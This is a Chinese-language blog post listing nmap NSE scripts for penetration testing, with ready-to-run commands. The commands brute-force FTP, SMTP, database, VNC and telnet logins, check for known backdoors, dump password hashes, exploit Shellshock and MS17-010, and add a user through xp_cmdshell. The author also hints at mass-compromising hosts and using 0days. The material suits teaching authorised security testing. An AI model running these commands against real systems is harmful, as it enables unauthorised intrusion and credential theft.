nmap 進階使用 [ 腳本篇 ]


0x01 前言

因為今天的重點並非nmap本身使用,這次主要還是想給大家介紹一些在實戰中相對比較實用的nmap腳本,所以關於nmap自身的一些選項作用就不再多說了,詳情可參考博客端口滲透相關文章,廢話少說,我們直接開始,實際中我們可以先用下面的語句,大概掃一眼目標機器或目標C段都跑了什么服務,心里先有個譜,之后才好針對性的出牌嘛:

1
# nmap -sV -sT -Pn --open -v 192.168.3.23

 

當然,你也可以嘗試先獲取下目標機器各個服務更詳細的banner信息,因為有些服務工具漏洞只能影響特定的版本,所以,提前知道一下還是非常有必要的:

1
# nmap -sT -Pn --open -v banner.nse 192.168.3.23

 

0x02 和ftp相關的一些漏洞檢測腳本:

1
2
ftp-anon.nse 檢查目標ftp是否允許匿名登錄,光能登陸還不夠,它還會自動檢測目錄是否可讀寫,如,批量ftp抓雞
# nmap -p 21 --script ftp-anon.nse -v 192.168.3.23

 

1
2
ftp-brute.nse ftp爆破腳本 [只會嘗試一些比較簡單的弱口令,時間可能要稍微長一些(掛vpn以后這個爆破速度可能會更慢),畢竟,是直接在公網爆破]
# nmap -p 21 --script ftp-brute.nse -v 192.168.3.23
1
2
ftp-vuln-cve2010-4221.nse ProFTPD 1.3.3c之前的netio.c文件中的pr_netio_telnet_gets函數中存在多個棧溢出
# nmap -p 21 --script ftp-vuln-cve2010-4221.nse -v 192.168.3.23
1
2
ftp-proftpd-backdoor.nse ProFTPD 1.3.3c 被人插后門[proftpd-1.3.3c.tar.bz2],缺省只執行id命令,可自行到腳本中它換成能直接彈shell的命令
# nmap -p 21 --script ftp-vuln-cve2010-4221.nse -v 192.168.3.23
1
2
ftp-vsftpd-backdoor.nse VSFTPD v2.3.4 跟Proftp同樣的問題,被人插了后門
# nmap -p 21 --script ftp-vsftpd-backdoor.nse -v 192.168.3.23

0x03 和ssh 相關的一些掃描腳本:

1
2
sshv1.nse sshv1是可以中間人的
# nmap -p 22 --script sshv1.nse -v 192.168.3.23

 

0x04 和smtp 相關的一些掃描腳本:

1
2
smtp-brute.nse 簡單爆破smtp
# nmap -p 25 --script smtp-brute.nse -v 192.168.3.23

 

1
2
smtp- enum-users.nse 枚舉目標smtp服務器的郵件用戶名,前提是目標要存在此錯誤配置才行
# nmap -p 25 --script smtp-enum-users.nse -v 192.168.3.23
1
2
smtp-vuln-cve2010 -4344.nse Exim 4.70之前版本中的string.c文件中的string_vformat函數中存在堆溢出
# nmap -p 25 --script smtp-vuln-cve2010-4344.nse -v 192.168.3.23
1
2
smtp-vuln-cve2011-1720.nse Postfix 2.5.13之前版本,2.6.10之前的2.6.x版本,2.7.4之前的2.7.x版本和2.8.3之前的2.8.x版本,存在溢出
# nmap -p 25 --script smtp-vuln-cve2011-1720.nse -v 192.168.3.23
1
2
smtp-vuln-cve2011 -1764.nse Exim "dkim_exim_verify_finish()" 存在格式字符串漏洞,太老基本很難遇到了
# nmap -p 25 --script smtp-vuln-cve2011-1764.nse -v 192.168.3.23

0x05 和pop3 相關的一些掃描腳本:

1
2
pop3-brute.nse pop簡單弱口令爆破
# nmap -p 110 --script pop3-brute.nse -v 192.168.3.23

 

0x06 和imap 相關的一些掃描腳本:

1
2
imap-brute.nse imap簡單弱口令爆破
# nmap -p 143,993 --script imap-brute.nse -v 192.168.3.23

 

0x07 和dns 相關的一些漏洞掃描腳本:

1
2
3
dns-zone-transfer.nse 檢查目標ns服務器是否允許傳送
# nmap -p 53 --script dns-zone-transfer.nse -v 192.168.3.23
# nmap -p 53 --script dns-zone-transfer.nse --script-args dns-zone-transfer.domain=target.org -v 192.168.3.23

 

1
2
hostmap-ip2hosts.nse 旁站查詢,目測了一下腳本,用的ip2hosts的接口,不過該接口似乎早已停用,如果想繼續用,可自行到腳本里把接口部分的代碼改掉
# nmap -p80 --script hostmap-ip2hosts.nse 192.168.3.23

0x08 和各種數據庫相關的掃描腳本:

1
2
informix-brute.nse informix爆破腳本
# nmap -p 9088 --script informix-brute.nse 192.168.3.23

 

1
2
mysql-empty-password.nse mysql 掃描root空密碼
# nmap -p 3306 --script mysql-empty-password.nse -v 192.168.3.23
1
2
mysql-brute.nse mysql root弱口令簡單爆破
# nmap -p 3306 --script mysql-brute.nse -v 192.168.3.23
1
2
mysql-dump-hashes.nse 導出mysql中所有用戶的hash
# nmap -p 3306 --script mysql-dump-hashes --script-args='username=root,password=root' 192.168.3.23
1
2
mysql-vuln-cve2012 -2122.nse Mysql身份認證漏洞[MariaDB and MySQL 5.1.61,5.2.11, 5.3.5, 5.5.22],利用條件有些苛刻 [需要目標的mysql是自己源碼編譯安裝的,這樣的成功率相對較高]
# nmap -p 3306 --script mysql-vuln-cve2012-2122.nse -v 192.168.3.23
1
2
# nmap -p 445 --script ms-sql-info.nse -v 203.124.11.0/24 ms-sql-info.nse 掃描C段mssql
# nmap -p 1433 --script ms-sql-info.nse --script-args mssql.instance-port=1433 -v 192.168.3.0/24
1
2
ms-sql-empty-password.nse 掃描mssql sa空密碼
# nmap -p 1433 --script ms-sql-empty-password.nse -v 192.168.3.0/24
1
2
ms-sql-brute.nse sa弱口令爆破
# nmap -p 1433 --script ms-sql-brute.nse -v 192.168.3.0/24
1
2
ms-sql-xp-cmdshell.nse 利用xp_cmdshell,遠程執行系統命令
# nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="net user test test /add" 192.168.3.0/24
1
2
ms-sql-dump-hashes.nse 導出mssql中所有的數據庫用戶及密碼hash
# nmap -p 1433 --script ms-sql-dump-hashes -v 192.168.3.0/24
1
2
pgsql-brute.nse 嘗試爆破postgresql
# nmap -p 5432 --script pgsql-brute -v 192.168.3.0/24
1
2
oracle-brute-stealth.nse 嘗試爆破oracle
# nmap --script oracle-brute-stealth -p 1521 --script-args oracle-brute-stealth.sid=ORCL -v 192.168.3.0/24
1
2
oracle-brute.nse
# nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL -v 192.168.3.0/24
1
2
mongodb-brute.nse 嘗試爆破mongdb
# nmap -p 27017 --script mongodb-brute 192.168.3.0/24
1
2
redis-brute.nse redis爆破
# nmap -p 6379 --script redis-brute.nse 192.168.3.0/24

0x09 和snmp相關的一些掃描腳本:

1
2
snmp-brute.nse 爆破C段的snmp
# nmap -sU --script snmp-brute --script-args snmp-brute.communitiesdb=user.txt 192.168.3.0/24

 

0x10 和telnet相關的一些掃描腳本:

1
2
telnet-brute.nse 簡單爆破telnet
# nmap -p 23 --script telnet-brute --script-args userdb=myusers.lst,passdb=mypwds.lst,telnet-brute.timeout=8s -v 192.168.3.0/24

 

0x11 和ldap服務相關的一些利用腳本:

1
2
ldap-brute.nse 簡單爆破ldap
# nmap -p 389 --script ldap-brute --script-args ldap.base='"cn=users,dc=cqure,dc=net"' 192.168.3.0/24

 

0x12 和各類web中間件,web集成環境相關的一些利用腳本:

1
2
xmpp-brute.nse xmpp爆破
# nmap -p 5222 --script xmpp-brute.nse 192.168.3.0/24

 

1
2
http-iis-short-name-brute.nse 短文件掃描
# nmap -p80 --script http-iis-short-name-brute.nse 192.168.3.0/24
1
2
http-iis-webdav-vuln.nse iis 5.0 /6.0 webadv寫
# nmap --script http-iis-webdav-vuln.nse -p80, 8080 192.168.3.0/24
1
2
http-shellshock.nse bash遠程執行
# nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls 192.168.3.0/24
1
2
http-svn-info.nse 探測目標svn
# nmap --script http-svn-info 192.168.3.0/24
1
2
3
http-drupal- enum.nse 其實對於這類的開源程序,我們根本沒必要用nmap,因為搞多了,差不多一眼就能看出來
http-wordpress-brute.nse
# nmap -p80 -sV --script http-wordpress-brute --script-args 'userdb=users.txt,passdb=passwds.txt,http-wordpress-brute.hostname=domain.com,http-wordpress-brute.threads=3,brute.firstonly=true' 192.168.3.0/24
1
2
http-backup-finder.nse 掃描目標網站備份
# nmap -p80 --script=http-backup-finder 192.168.3.0/24
1
2
http-vuln-cve2015 -1635.nse iis6.0遠程代碼執行
# nmap -sV --script http-vuln-cve* --script-args uri='/anotheruri/' 192.168.3.0/24

0x13 跟vpn相關的一些利用腳本,暫時只看到一個pptp還好使:

1
2
pptp-version.nse 識別目標pptp版本
# nmap -p 1723 --script pptp-version.nse 192.168.3.0/24

 

0x14 smb漏洞檢測腳本集::

1
2
3
4
5
smb-vuln-ms08 -067.nse
smb-vuln-ms10 -054.nse
smb-vuln-ms10 -061.nse
smb-vuln-ms17 -010.nse smb遠程執行
# nmap -p445 --script smb-vuln-ms17 -010.nse 192.168.3.0/24

 

0x15 檢測內網嗅探,實際測試中,貌似並沒什么卵用,難道是我實驗有誤 :(:

1
2
sniffer-detect.nse
# nmap -sn -Pn --script sniffer-detect.nse 192.168.3.0/24

 

0x16 其它的一些輔助性腳本:

1
2
rsync-brute.nse 爆破目標的rsync
# nmap -p 873 --script rsync-brute --script-args 'rsync-brute.module=www' 192.168.3.0/24

 

1
2
rlogin-brute.nse 爆破目標的rlogin
# nmap -p 513 --script rlogin-brute 192.168.3.0/24
1
2
vnc-brute.nse 爆破目標的vnc
# nmap --script vnc-brute -p 5900 192.168.3.0/24
1
2
pcanywhere-brute.nse 爆破pcanywhere
# nmap -p 5631 --script=pcanywhere-brute 192.168.3.0/24
1
2
nessus-brute.nse 爆破nessus,貌似現在已經不是 1241端口了,實在是太老了,直接忽略吧
# nmap --script nessus-brute -p 1241 192.168.3.0/24
1
2
nexpose-brute.nse 爆破nexpose
# nmap --script nexpose-brute -p 3780 192.168.3.0/24
1
2
shodan-api.nse 配合shodan接口進行掃描,如果自己手里有 0day,這個威力還是不可小覷的
# nmap --script shodan-api --script-args 'shodan-api.target= 192.168.3.0/24,shodan-api.apikey=SHODANAPIKEY'

0x17 嘗試利用nmap一句話進行目標C段常規漏洞掃描

實際測試中,會非常的慢,可能跑一個腳本驗證時間都要很長,尤其在你的vps帶寬不是很足,網絡又不怎么好的時候,速度就更慢了,所以還是建議先大致掃一眼目標服務,然后再單獨針對性的掃,這樣實際的成功率可能會高很多,畢竟,不是像masscan或者zamp這種基於無狀態的掃描:

1
# nmap -sT -Pn -v --script dns-zone-transfer.nse,ftp-anon.nse,ftp-proftpd-backdoor.nse,ftp-vsftpd-backdoor.nse,ftp-vuln-cve2010- 4221.nse,http-backup-finder.nse,http-cisco-anyconnect.nse,http-iis-short-name-brute.nse,http-put.nse,http-php-version.nse,http-shellshock.nse,http-robots.txt.nse,http-svn-enum.nse,http-webdav-scan.nse,iis-buffer-overflow.nse,iax2-version.nse,memcached-info.nse,mongodb-info.nse,msrpc-enum.nse,ms-sql-info.nse,mysql-info.nse,nrpe-enum.nse,pptp-version.nse,redis-info.nse,rpcinfo.nse,samba-vuln-cve-2012-1182.nse,smb-vuln-ms08-067.nse,smb-vuln-ms17-010.nse,snmp-info.nse,sshv1.nse,xmpp-info.nse,tftp-enum.nse,teamspeak2-version.nse 192.168.3.0/24

 

嘗試利用nmap一句話進行目標C段弱口令爆破,還是上面的問題,驗證一個漏洞都要那么久,更不要說跑完一個弱口令字典,nmap默認的弱口令字典大概是5000左右,也就是說一個用戶名就要跑大概5000次,估計你vps帶寬再小點兒的話,這個就沒什么譜了,畢竟我們是在公網,不是在內網,所以,還是建議最好不要同時加載很多個弱口令爆破腳本,如果實在沒辦法必須爆破,可以多花點兒時間,去搜集目標有價值的用戶名,以此盡可能提高自己的命中率:

1
# nmap -sT -v -Pn --script ftp-brute.nse,imap-brute.nse,smtp-brute.nse,pop3-brute.nse,mongodb-brute.nse,redis-brute.nse,ms-sql-brute.nse,rlogin-brute.nse,rsync-brute.nse,mysql-brute.nse,pgsql-brute.nse,oracle-sid-brute.nse,oracle-brute.nse,rtsp-url-brute.nse,snmp-brute.nse,svn-brute.nse,telnet-brute.nse,vnc-brute.nse,xmpp-brute.nse 192.168.3.0/24

 



后話:
    由於nmap內置豐富的漏洞掃描腳本,也使得nmap的能力在一定程度得到了極大的擴展,意味者我們完全可以自己按照nmap事先規定好的語法來模仿實現一些簡單的定制掃描,這也是讓我感覺nmap做的非常好的一點,極大的可擴展性,比如,你自己握有0day時,想自動化干點兒什么事兒,嘿嘿……具體就不多說了,相信大家都懂,^_^ [ 希望不要撞到別人的蜜罐中去就好了,不然Nday就可惜了 ],沒錯,masscan,zmap這種基於無狀態的掃描確實快的嚇人,而且shodan api也是個很不錯的選擇,但對定制腳本支持始終還是差了點,時間關系只挑了一些可能用到的腳本,今天就簡單聊到這兒吧,工具沒有沒有好壞,雖然實戰中不一定都能用上,關鍵還是大家在實際滲透過程中能靈活變通就好,話說回來,這一切的前提都是建立在別人讓你掃的基礎之上的,nmap的標志實在是太招搖過市了,nmap所支持的那幾種掃描類型,估計早已被各種ids所免疫,說實話,有些目標可能都沒什么機會讓你掃,關於nmap其它的一些用法,后期遇到相對比較實用的會不定期再更新上來,大家如果有興趣,也可以直接去參考官方,那里說的還是非常詳細的,起碼比我這個要詳細很多,有任何問題請直接私信我


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM